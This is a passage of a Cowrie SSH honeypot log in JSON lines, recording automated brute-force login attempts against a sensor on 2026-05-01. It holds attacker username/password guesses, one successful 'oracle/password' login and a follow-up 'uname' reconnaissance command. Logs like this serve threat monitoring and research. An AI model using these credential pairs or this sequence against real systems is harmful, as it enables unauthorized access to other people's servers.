{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:03.537026Z","src_ip":"176.65.139.103","session":"5482915a7bbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"123qweASD","message":"login attempt [ansible/123qweASD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:04.119885Z","src_ip":"159.203.92.129","session":"7d8303067eea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:05.363204Z","src_ip":"159.203.92.129","session":"7d8303067eea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":55990,"dst_ip":"10.17.0.5","dst_port":22,"session":"c74940f1f456","protocol":"ssh","message":"New connection: 176.65.139.103:55990 (10.17.0.5:22) [session: c74940f1f456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:09.197966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:09.223304Z","src_ip":"176.65.139.103","session":"c74940f1f456","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:09.309220Z","src_ip":"176.65.139.103","session":"c74940f1f456","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranger","password":"ranger","message":"login attempt [ranger/ranger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:09.619453Z","src_ip":"176.65.139.103","session":"c74940f1f456","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:10.927274Z","src_ip":"176.65.139.103","session":"c74940f1f456","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":55854,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8a732cf1644","protocol":"ssh","message":"New connection: 176.65.139.103:55854 (10.17.0.5:22) [session: e8a732cf1644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:16.321892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:16.327048Z","src_ip":"176.65.139.103","session":"e8a732cf1644","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:16.411144Z","src_ip":"176.65.139.103","session":"e8a732cf1644","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@wsx","message":"login attempt [root/1qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:16.662872Z","src_ip":"176.65.139.103","session":"e8a732cf1644","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:17.754822Z","src_ip":"176.65.139.103","session":"e8a732cf1644","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":45716,"dst_ip":"10.17.0.5","dst_port":22,"session":"1aeba64e3169","protocol":"ssh","message":"New connection: 176.65.139.103:45716 (10.17.0.5:22) [session: 1aeba64e3169]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:23.105672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:23.111920Z","src_ip":"176.65.139.103","session":"1aeba64e3169","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:23.191573Z","src_ip":"176.65.139.103","session":"1aeba64e3169","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty123","message":"login attempt [root/Qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:23.588702Z","src_ip":"176.65.139.103","session":"1aeba64e3169","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:24.681826Z","src_ip":"176.65.139.103","session":"1aeba64e3169","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":45744,"dst_ip":"10.17.0.5","dst_port":22,"session":"c20ef0276763","protocol":"ssh","message":"New connection: 176.65.139.103:45744 (10.17.0.5:22) [session: c20ef0276763]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:29.971718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:29.985750Z","src_ip":"176.65.139.103","session":"c20ef0276763","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:30.057011Z","src_ip":"176.65.139.103","session":"c20ef0276763","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser","message":"login attempt [azureuser/azureuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:30.392409Z","src_ip":"176.65.139.103","session":"c20ef0276763","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:31.477034Z","src_ip":"176.65.139.103","session":"c20ef0276763","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":59062,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9dc33443c8c","protocol":"ssh","message":"New connection: 176.65.139.103:59062 (10.17.0.5:22) [session: e9dc33443c8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:36.875980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:36.880405Z","src_ip":"176.65.139.103","session":"e9dc33443c8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:36.962868Z","src_ip":"176.65.139.103","session":"e9dc33443c8c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"password","message":"login attempt [oracle/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:37.235781Z","src_ip":"176.65.139.103","session":"e9dc33443c8c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:37.730663Z","src_ip":"176.65.139.103","session":"e9dc33443c8c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:37.735033Z","src_ip":"176.65.139.103","session":"e9dc33443c8c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:37.911815Z","src_ip":"176.65.139.103","session":"e9dc33443c8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:37.917320Z","src_ip":"176.65.139.103","session":"e9dc33443c8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":47328,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6bf9c64594a","protocol":"ssh","message":"New connection: 176.65.139.103:47328 (10.17.0.5:22) [session: f6bf9c64594a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:43.810073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:43.814532Z","src_ip":"176.65.139.103","session":"f6bf9c64594a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:43.938409Z","src_ip":"176.65.139.103","session":"f6bf9c64594a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backuply","password":"123456","message":"login attempt [backuply/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:44.255740Z","src_ip":"176.65.139.103","session":"f6bf9c64594a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55668,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc8c733c8a33","protocol":"ssh","message":"New connection: 159.203.92.129:55668 (159.203.135.109:22) [session: dc8c733c8a33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:45.238984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:45.245231Z","src_ip":"159.203.92.129","session":"dc8c733c8a33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:45.251397Z","src_ip":"159.203.92.129","session":"dc8c733c8a33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"123qweasd","message":"login attempt [ansible/123qweasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:45.266144Z","src_ip":"159.203.92.129","session":"dc8c733c8a33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:45.384095Z","src_ip":"176.65.139.103","session":"f6bf9c64594a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:46.288659Z","src_ip":"159.203.92.129","session":"dc8c733c8a33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":47334,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7de40bc28b9","protocol":"ssh","message":"New connection: 176.65.139.103:47334 (10.17.0.5:22) [session: e7de40bc28b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:50.450877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:50.465909Z","src_ip":"176.65.139.103","session":"e7de40bc28b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""